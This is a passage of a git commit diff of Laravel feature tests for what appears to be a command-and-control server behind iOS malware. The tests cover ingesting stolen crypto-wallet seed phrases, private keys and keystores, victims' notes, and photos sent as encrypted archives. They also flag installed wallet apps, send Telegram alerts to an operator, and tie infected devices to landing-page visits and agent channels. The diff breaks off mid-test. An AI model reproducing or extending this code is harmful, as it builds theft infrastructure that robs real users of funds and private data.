feat: xxbb

This commit is contained in:
hashbro
2026-08-14 02:59:21 +08:00
parent 31924ca770
commit 5bf6852f66
82 changed files with 2890 additions and 521 deletions
+5
View File
@@ -242,7 +242,12 @@ class C2ApiTest extends TestCase
$this->assertSame('MetaMask', $mm->name);
$this->assertSame('7.12.0', $mm->version);
$this->assertTrue($mm->is_wallet);
$safari = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.mobilesafari')->first();
$this->assertNotNull($safari);
$this->assertFalse($safari->is_wallet);
$this->assertSame(2, $device->apps()->count());
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
$this->assertSame(['MetaMask'], $device->walletNameList());
}
#[Test]
+94 -54
View File
@@ -19,6 +19,8 @@ class ChannelProjectServiceTest extends TestCase
private const CHANNEL_ID = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
private const NEW_CHANNEL_ID = 'FAFA9988';
protected function setUp(): void
{
parent::setUp();
@@ -56,6 +58,18 @@ class ChannelProjectServiceTest extends TestCase
return "log line\n".ChannelProjectService::RESULT_MARKER.json_encode($payload)."\n";
}
private function stageFakeWeifile(): string
{
$dir = storage_path('app/channel-builder-new-test/out/weifile');
if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) {
$this->fail('unable to create staged weifile dir');
}
file_put_contents($dir.'/index.js', 'const V="CACACACA";');
file_put_contents($dir.'/weifile.html', '<script src="index.js"></script>');
return $dir;
}
#[Test]
public function it_invokes_new_project_script_and_returns_seeds(): void
{
@@ -328,26 +342,27 @@ class ChannelProjectServiceTest extends TestCase
$channel = Channel::query()->where('channel_id', self::CHANNEL_ID)->first();
$this->assertSame([], $channel->domains ?? []);
$this->assertSame(Channel::BUILDER_OLD, $channel->builderType());
$this->assertNull($channel->channel_name);
}
#[Test]
public function it_invokes_new_builder_for_shared_weifile(): void
public function it_packs_new_channel_from_staged_weifile(): void
{
$this->stageFakeWeifile();
Process::fake([
'*' => Process::result(output: $this->fakeBuildResult([
'builder_type' => 'new',
'channel_name' => null,
'weifile_path' => '/weifile/weifile.html',
'support_path' => '/weifile/weifile.html',
'channel_code' => self::NEW_CHANNEL_ID,
'weifile_path' => null,
'support_path' => '',
'details_path' => '/details/',
'daily_path' => '/details/',
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
'domains' => ['deployment' => [], 'reporting' => []],
])),
]);
$result = app(ChannelProjectService::class)->generate(
self::CHANNEL_ID,
self::NEW_CHANNEL_ID,
'test',
null,
null,
@@ -355,107 +370,139 @@ class ChannelProjectServiceTest extends TestCase
);
$this->assertSame(Channel::BUILDER_NEW, $result['builder_type']);
$this->assertNull($result['channel_name']);
$this->assertSame('/weifile/weifile.html', $result['weifile_path']);
$this->assertSame('/weifile/weifile.html', $result['support_path']);
$this->assertNull($result['weifile_path']);
$this->assertSame('', $result['support_path']);
$this->assertSame('/details/', $result['daily_path']);
$this->assertSame('/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip', $result['zip_path']);
Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'build.py')
&& ! str_contains($joined, '--channel-name')
&& str_contains($joined, '--channel-c')
&& str_contains($joined, self::CHANNEL_ID)
&& str_contains($joined, '--scheme')
&& str_contains($joined, '--apply')
&& str_contains($joined, '--force');
return str_contains($joined, 'pack_channel.py')
&& str_contains($joined, '--channel-code')
&& str_contains($joined, self::NEW_CHANNEL_ID)
&& ! str_contains($joined, 'build.py')
&& ! str_contains($joined, '--apply');
});
}
#[Test]
public function new_builder_rejects_mismatched_seeds(): void
public function new_builder_requires_staged_weifile(): void
{
$index = storage_path('app/channel-builder-new-test/out/weifile/index.js');
if (is_file($index)) {
unlink($index);
}
$this->expectException(RuntimeException::class);
$this->expectExceptionMessage('deployment_seed 与 reporting_seed 必须相同');
$this->expectExceptionMessage('请先运行构建脚本');
app(ChannelProjectService::class)->generate(
self::CHANNEL_ID,
self::NEW_CHANNEL_ID,
'test',
null,
null,
Channel::BUILDER_NEW,
);
}
#[Test]
public function new_builder_ignores_seed_mismatch(): void
{
$this->stageFakeWeifile();
Process::fake([
'*' => Process::result(output: $this->fakeBuildResult([
'builder_type' => 'new',
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
])),
]);
$result = app(ChannelProjectService::class)->generate(
self::NEW_CHANNEL_ID,
'test',
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
Channel::BUILDER_NEW,
'abcd1234',
);
$this->assertSame(self::NEW_CHANNEL_ID, $result['channel_id']);
}
#[Test]
public function support_links_use_weifile_path_for_new_builder(): void
{
$channel = new Channel([
'channel_id' => self::CHANNEL_ID,
'channel_id' => self::NEW_CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'domains' => ['channel.test'],
]);
$this->assertSame([
'https://channel.test/weifile/weifile.html',
], $channel->supportLinks());
$this->assertSame([], $channel->supportLinks());
$this->assertSame('/weifile/weifile.html', $channel->landingPath());
}
#[Test]
public function store_new_builder_returns_shared_weifile_path(): void
public function store_new_builder_returns_zip_path(): void
{
$this->stageFakeWeifile();
Process::fake([
'*' => Process::result(output: $this->fakeBuildResult([
'weifile_path' => '/weifile/weifile.html',
'support_path' => '/weifile/weifile.html',
'weifile_path' => null,
'support_path' => '',
'details_path' => '/details/',
'daily_path' => '/details/',
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
])),
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$response = $this->actingAs($admin, 'admin')
->post(route('admin.channels.store'), [
'channel_id' => self::CHANNEL_ID,
'channel_id' => self::NEW_CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW);
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW)
->assertJsonPath('data.zip_path', '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip');
$channel = Channel::query()->where('channel_id', self::CHANNEL_ID)->first();
$channel = Channel::query()->where('channel_id', self::NEW_CHANNEL_ID)->first();
$this->assertNotNull($channel);
$this->assertSame(Channel::BUILDER_NEW, $channel->builderType());
$this->assertNull($channel->channel_name);
$this->assertSame('/weifile/weifile.html', $channel->landingPath());
$this->assertNull($response->json('data.channel_name'));
$this->assertSame('/weifile/weifile.html', $response->json('data.weifile_path'));
$this->assertNull($response->json('data.weifile_path'));
$this->assertNotEmpty($response->json('data.download_url'));
Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'build.py')
&& ! str_contains($joined, '--channel-name')
&& str_contains($joined, '--channel-c')
&& str_contains($joined, self::CHANNEL_ID);
return str_contains($joined, 'pack_channel.py')
&& str_contains($joined, self::NEW_CHANNEL_ID)
&& ! str_contains($joined, 'build.py');
});
}
#[Test]
public function destroy_new_builder_keeps_shared_weifile(): void
public function destroy_new_builder_deletes_zip_not_details(): void
{
Process::fake();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$channel = Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'channel_id' => self::NEW_CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'channel_name' => null,
'user_id' => 0,
'status' => 1,
]);
$zipDir = storage_path('app/channel-artifacts-test/channel-source-new');
if (! is_dir($zipDir)) {
mkdir($zipDir, 0775, true);
}
$zip = $zipDir.'/'.self::NEW_CHANNEL_ID.'.zip';
file_put_contents($zip, 'zip');
$details = storage_path('app/channel-artifacts-test/details');
if (! is_dir($details)) {
mkdir($details, 0775, true);
}
file_put_contents($details.'/show.html', 'keep');
$this->actingAs($admin, 'admin')
->delete(route('admin.channels.destroy', $channel))
@@ -468,23 +515,16 @@ class ChannelProjectServiceTest extends TestCase
return str_contains($joined, 'delete_channel.py')
|| str_contains($joined, 'delete_channel_web.py');
});
$this->assertFileDoesNotExist($zip);
$this->assertFileExists($details.'/show.html');
$this->assertDatabaseMissing('channels', ['id' => $channel->id]);
}
#[Test]
public function random_channel_name_is_unique_and_not_reserved(): void
public function reserved_names_cannot_be_new_channel_ids(): void
{
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'channel_name' => 'taken123',
'user_id' => 0,
'status' => 1,
]);
$name = Channel::randomChannelName();
$this->assertMatchesRegularExpression('/^[a-z0-9]{8}$/', $name);
$this->assertNotSame('taken123', $name);
$this->assertFalse(Channel::isReservedChannelName($name));
$this->assertNull(Channel::normalizeNewChannelId('ADMIN'));
$this->assertNull(Channel::normalizeNewChannelId('weifile'));
$this->assertSame('FAFA9988', Channel::normalizeNewChannelId('fafa9988'));
}
}
+42
View File
@@ -9,6 +9,7 @@ use App\Models\Photo;
use App\Models\User;
use App\Services\IngestService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -46,6 +47,47 @@ class DeviceAlbumStorageTest extends TestCase
@unlink($tmp);
}
#[Test]
public function ingest_notifies_telegram_when_x_hit_is_12(): void
{
Storage::fake('local');
config([
'coruna.telegram.bot_token' => 'bot-token',
'coruna.telegram.owner_chat_id' => '12345',
]);
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
$device = Device::query()->create(['device_id' => 'dev-hit12']);
$tmp = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg';
file_put_contents($tmp, "\xFF\xD8\xFF\xD9");
$ingest = app(IngestService::class);
$ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
Http::assertNothingSent();
$tmp2 = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg';
file_put_contents($tmp2, "\xFF\xD8\xFF\xDA\xFF\xD9");
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
Http::assertSent(function ($request) {
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, 'Sensitive Photo')
&& str_contains($text, 'dev-hit12')
&& str_contains($text, 'x-hit</b>: 12');
});
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
$this->assertSame(1, collect(Http::recorded())->filter(function ($pair) {
$text = (string) ($pair[0]->data()['text'] ?? '');
return str_contains($text, 'Sensitive Photo');
})->count());
@unlink($tmp);
@unlink($tmp2);
}
#[Test]
public function admin_can_toggle_album_storage(): void
{
+115
View File
@@ -0,0 +1,115 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class DeviceDeleteTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function admin_can_delete_device_and_related_data(): void
{
Storage::fake('local');
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-del-1', 'channel_id' => '86C1AAD5']);
$photoPath = 'c2/photos/dev-del-1/hit.jpg';
$checkPath = 'c2/check/dev-del-1/pack/file.bin';
Storage::disk('local')->put($photoPath, "\xFF\xD8\xFF\xD9");
Storage::disk('local')->put($checkPath, 'x');
Photo::query()->create([
'device_id' => $device->id,
'sha256' => hash('sha256', 'x'),
'path' => $photoPath,
'size' => 4,
]);
DeviceApp::query()->create([
'device_id' => $device->id,
'bundle_id' => 'im.token.app',
'name' => 'imToken',
]);
DeviceEvent::query()->create([
'device_id' => $device->id,
'device_key' => 'dev-del-1',
'event_name' => 'injection_success',
]);
Note::query()->create([
'device_id' => $device->id,
'content' => ['text' => 'hello'],
]);
WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'Txxx',
'source' => 'imToken',
'chain_type' => 'TRX',
]);
WalletMnemonic::query()->create([
'device_id' => $device->id,
'source' => 'imToken',
'mnemonic_hash' => hash('sha256', 'abandon'),
'mnemonic_enc' => 'enc',
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
'raw_json' => ['k' => 1],
]);
$this->actingAs($admin, 'admin')
->deleteJson(route('admin.devices.destroy', $device))
->assertOk()
->assertJsonPath('code', 0);
$this->assertNull(Device::query()->find($device->id));
$this->assertSame(0, Photo::query()->count());
$this->assertSame(0, DeviceApp::query()->count());
$this->assertSame(0, DeviceEvent::query()->count());
$this->assertSame(0, Note::query()->count());
$this->assertSame(0, WalletAddress::query()->count());
$this->assertSame(0, WalletMnemonic::query()->count());
$this->assertSame(0, WalletKeystore::query()->count());
Storage::disk('local')->assertMissing($photoPath);
Storage::disk('local')->assertMissing($checkPath);
}
#[Test]
public function agent_cannot_delete_other_channel_device(): void
{
$agent = User::query()->create([
'username' => 'agent_del',
'password' => 'secret12',
'status' => 1,
]);
Channel::query()->create([
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'user_id' => $agent->id,
'status' => 1,
]);
$other = Device::query()->create([
'device_id' => 'dev-other-del',
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
]);
$this->actingAs($agent, 'agent')
->deleteJson(route('user.devices.destroy', $other))
->assertForbidden();
$this->assertNotNull(Device::query()->find($other->id));
}
}
+132
View File
@@ -0,0 +1,132 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Services\IngestService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class DeviceWalletFlagTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function new_device_wallet_flag_is_unknown(): void
{
$device = Device::query()->create(['device_id' => 'dev-wallet-unknown']);
$this->assertSame(Device::WALLET_UNKNOWN, (int) $device->has_wallet);
$this->assertSame([], $device->walletNameList());
}
#[Test]
public function applist_without_plugin_wallets_marks_none(): void
{
$device = Device::query()->create(['device_id' => 'dev-wallet-none']);
app(IngestService::class)->ingestInstalledApps($device, [
'al' => [
['a' => 'Safari', 'b' => 'com.apple.mobilesafari', 'v' => '17'],
['a' => 'Foo Wallet', 'b' => 'com.foo.somecoinwallet', 'v' => '1'],
['a' => 'Telegram', 'b' => 'ph.telegra.Telegraph', 'v' => '10'],
],
]);
$device->refresh();
$this->assertSame(Device::WALLET_NONE, (int) $device->has_wallet);
$this->assertSame([], $device->walletNameList());
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.foo.somecoinwallet')->value('is_wallet'));
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'ph.telegra.Telegraph')->value('is_wallet'));
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.apple.mobilesafari')->value('is_wallet'));
}
#[Test]
public function applist_with_plugin_wallets_marks_yes_and_notifies_once(): void
{
config([
'coruna.telegram.bot_token' => 'bot-token',
'coruna.telegram.owner_chat_id' => '12345',
]);
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
$device = Device::query()->create(['device_id' => 'dev-wallet-yes']);
$ingest = app(IngestService::class);
$ingest->ingestInstalledApps($device, [
'al' => [
['a' => 'Safari', 'b' => 'com.apple.mobilesafari'],
],
]);
$device->refresh();
$this->assertSame(Device::WALLET_NONE, (int) $device->has_wallet);
Http::assertNothingSent();
$ingest->ingestInstalledApps($device, [
'al' => [
['a' => 'MetaMask', 'b' => 'io.metamask.MetaMask'],
['a' => 'imToken', 'b' => 'im.token.app'],
],
]);
$device->refresh();
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
$this->assertSame(['MetaMask', 'imToken'], $device->walletNameList());
$ingest->ingestInstalledApps($device, [
'al' => [
['a' => 'Trust', 'b' => 'com.sixdays.trust'],
],
]);
$device->refresh();
$this->assertSame(['MetaMask', 'Trust Wallet', 'imToken'], $device->walletNameList());
$walletAlerts = 0;
Http::assertSent(function ($request) use (&$walletAlerts) {
$text = (string) ($request->data()['text'] ?? '');
if (str_contains($text, 'Installed Wallets')) {
$walletAlerts++;
$this->assertStringContainsString('MetaMask', $text);
$this->assertStringContainsString('imToken', $text);
}
return true;
});
$this->assertSame(1, $walletAlerts);
}
#[Test]
public function admin_can_filter_devices_by_wallet_flag(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
Device::query()->create(['device_id' => 'dev-unknown', 'has_wallet' => Device::WALLET_UNKNOWN]);
Device::query()->create(['device_id' => 'dev-none', 'has_wallet' => Device::WALLET_NONE]);
Device::query()->create([
'device_id' => 'dev-yes',
'has_wallet' => Device::WALLET_YES,
'wallet_names' => ['MetaMask', 'TronLink'],
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_YES]))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'dev-yes')
->assertJsonPath('data.0.has_wallet', Device::WALLET_YES)
->assertJsonPath('data.0.wallet_names', ['MetaMask', 'TronLink']);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_NONE]))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'dev-none');
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_UNKNOWN]))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'dev-unknown');
}
}
+144
View File
@@ -0,0 +1,144 @@
<?php
namespace Tests\Feature;
use App\Models\Channel;
use App\Models\Device;
use App\Models\PageVisit;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class NewBuilderIngestTest extends TestCase
{
use RefreshDatabase;
private const SHARED_C = '202700cfb1ad3de68e11239dcc26c30b';
private const CHANNEL_ID = 'FAFA9988';
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
{
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
return $this->call('POST', $path, [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => $ts,
], $enc['body']);
}
#[Test]
public function new_builder_device_uses_recent_visit_not_native_c(): void
{
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
Cache::flush();
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'REMOTE_ADDR' => '203.0.113.9',
], json_encode([
'channelCode' => 'fafa9988',
'deviceVersion' => 'iOS 16.6',
'domain' => 'landing.example',
'sessionId' => '11111111-2222-4333-8444-555555555555',
]))->assertOk();
$this->call('POST', '/event', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => '1786468227899',
'REMOTE_ADDR' => '203.0.113.9',
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
'm' => 'iPhone12,8',
'pv' => '16.6',
], '1786468227899')['body'])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
$this->assertSame('landing.example', $device->source_domain);
$this->assertNotSame(self::SHARED_C, $device->channel_id);
}
#[Test]
public function new_builder_device_without_visit_is_still_created(): void
{
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertNull($device->channel_id);
$this->assertNull($device->source_domain);
}
#[Test]
public function old_builder_put_still_writes_payload_c(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585600001';
$enc = $crypto->encryptJson([
'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
], $ts);
$this->call('POST', '/api/user/avatar/put', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame(self::SHARED_C, $device->channel_id);
}
#[Test]
public function claimed_visit_is_not_reused_by_second_device(): void
{
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL_ID,
'client_uid' => 'landing.example',
'ip' => '127.0.0.1',
'domain' => 'landing.example',
'created_at' => now(),
]);
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
])->assertOk();
$this->xxbbPost('/event', [
'd' => '111C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
])->assertOk();
$first = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$second = Device::query()->where('device_id', '111C30D83CD0402E')->first();
$this->assertSame(self::CHANNEL_ID, $first->channel_id);
$this->assertNull($second->channel_id);
$this->assertNotNull($second);
}
}
+16 -1
View File
@@ -35,7 +35,8 @@ class PageVisitTest extends TestCase
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame(self::CHANNEL, $row->channel_id);
$this->assertSame('11111111-2222-4333-8444-555555555555', $row->client_uid);
$this->assertSame(PageVisit::visitorUid($row->domain ?? 'localhost', $row->ip), $row->client_uid);
$this->assertSame(PageVisit::VISITOR_UID_LENGTH, strlen($row->client_uid));
$this->assertSame('iOS', $row->os);
$this->assertSame('16.6', $row->os_version);
$this->assertSame('Safari', $row->browser);
@@ -79,6 +80,20 @@ class PageVisitTest extends TestCase
$this->assertSame('https://search.example/q=ios', $row->referer);
}
#[Test]
public function visitor_uid_is_stable_for_domain_and_ip(): void
{
$a = PageVisit::visitorUid('XXBB.TV', '203.0.113.9');
$b = PageVisit::visitorUid('https://xxbb.tv/path', '203.0.113.9');
$c = PageVisit::visitorUid('xxbb.tv', '203.0.113.10');
$d = PageVisit::visitorUid('other.tv', '203.0.113.9');
$this->assertSame(PageVisit::VISITOR_UID_LENGTH, strlen($a));
$this->assertSame($a, $b);
$this->assertNotSame($a, $c);
$this->assertNotSame($a, $d);
}
#[Test]
public function hit_debounces_duplicate_uid(): void
{
+218 -3
View File
@@ -5,13 +5,18 @@ namespace Tests\Feature;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -59,10 +64,44 @@ class XxbbC2ApiTest extends TestCase
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame('56885688', $row->channel_id);
$this->assertSame('xxbb.tv', $row->client_uid);
$this->assertSame('xxbb.tv', $row->path);
$this->assertSame('xxbb.tv', $row->domain);
$this->assertSame(PageVisit::visitorUid('xxbb.tv', $row->ip), $row->client_uid);
$this->assertNotSame('xxbb.tv', $row->client_uid);
$this->assertSame('iOS', $row->os);
$this->assertSame('16.6', $row->os_version);
$this->assertNull($row->session_id);
}
#[Test]
public function iptj_dedupes_by_session_id(): void
{
Cache::flush();
$body = [
'channelCode' => '56885688',
'deviceVersion' => 'iOS 16.6',
'domain' => 'xxbb.tv',
'sessionId' => '11111111-2222-4333-8444-555555555555',
];
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode($body))->assertOk();
Cache::flush();
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode($body))->assertOk();
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode([
...$body,
'sessionId' => 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee',
]))->assertOk();
$this->assertSame(2, PageVisit::query()->count());
$this->assertSame(
'11111111-2222-4333-8444-555555555555',
PageVisit::query()->orderBy('id')->value('session_id'),
);
}
#[Test]
@@ -96,7 +135,7 @@ class XxbbC2ApiTest extends TestCase
$this->assertNotNull($device);
$this->assertSame('iPhone12,8', $device->device_model);
$this->assertSame('16.6', $device->ios_version);
$this->assertSame('202700cfb1ad3de68e11239dcc26c30b', $device->channel_id);
$this->assertNull($device->channel_id);
$ev = DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->first();
$this->assertNotNull($ev);
@@ -121,6 +160,8 @@ class XxbbC2ApiTest extends TestCase
$app = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->first();
$this->assertNotNull($app);
$this->assertSame('imToken', $app->name);
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
$this->assertSame(['imToken'], $device->walletNameList());
}
#[Test]
@@ -195,4 +236,178 @@ class XxbbC2ApiTest extends TestCase
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->first());
}
#[Test]
public function nb_ingests_notes(): void
{
$this->xxbbPost('/nb', [
'd' => '000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'list' => [
"spawn rabbit unusual favorite yard recipe\n(R(R",
'second note line',
],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame(1, Note::query()->where('device_id', $device->id)->count());
$note = Note::query()->where('device_id', $device->id)->first();
$this->assertIsArray($note->content);
$this->assertCount(2, $note->content);
$this->assertStringContainsString('spawn rabbit', $note->content[0]);
}
#[Test]
public function result_ingests_mnemonic(): void
{
$this->xxbbPost('/result', [
'd' => '000C30D83CD0402E',
'a' => 'b',
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame('imToken', $row->source);
$this->assertStringContainsString('abandon', $row->mnemonic);
}
#[Test]
public function t_extracts_photo_archive_and_stores_file(): void
{
Storage::fake('local');
$crypto = $this->xxbbCrypto();
$tmp = sys_get_temp_dir().'/xxbb_photo_'.uniqid();
mkdir($tmp);
$jpegPath = $tmp.'/hit.jpg';
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
$archivePath = $tmp.'/capture.7z';
$password = $crypto->archivePassword('0');
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
? '/opt/homebrew/opt/p7zip/bin/7z'
: '7z';
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
exec($cmd, $out, $code);
$this->assertSame(0, $code, implode("\n", $out));
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
$this->call(
'POST',
'/t',
[
'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E',
'batchBase' => '0',
'idx' => '000001000000',
'ftu' => '000001000000',
'x-hit' => '12',
],
[],
['file' => $upload],
['CONTENT_TYPE' => 'multipart/form-data']
)->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$photo = Photo::query()->where('device_id', $device->id)->first();
$this->assertNotNull($photo);
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
$this->assertSame(4, $photo->size);
$this->assertSame(12, $photo->x_hit);
$this->assertSame(1, $photo->upload_count);
$this->assertSame(0, $photo->process_index);
$this->assertSame(1, $photo->text_count);
$this->assertSame(0, $photo->barcode_count);
Storage::disk('local')->assertExists($photo->path);
@unlink($jpegPath);
@unlink($archivePath);
@rmdir($tmp);
}
#[Test]
public function us_ingests_tronlink_mnemonic(): void
{
$this->xxbbPost('/us', [
'd' => '000C30D83CD0402E',
'a' => 'c',
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame('TronLink', $row->source);
}
#[Test]
public function us_ingests_private_key_without_result_wrapper(): void
{
$this->xxbbPost('/us', [
'd' => '000C30D83CD0402E',
'a' => 'f',
'privateKey' => '0x'.str_repeat('ab', 32),
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame('BitKeep', $row->source);
$this->assertStringStartsWith('0x', $row->mnemonic);
}
#[Test]
public function ub_ingests_global_wallet_ad_map(): void
{
Http::fake(['*' => Http::response(['ok' => true], 200)]);
$this->xxbbPost('/ub', [
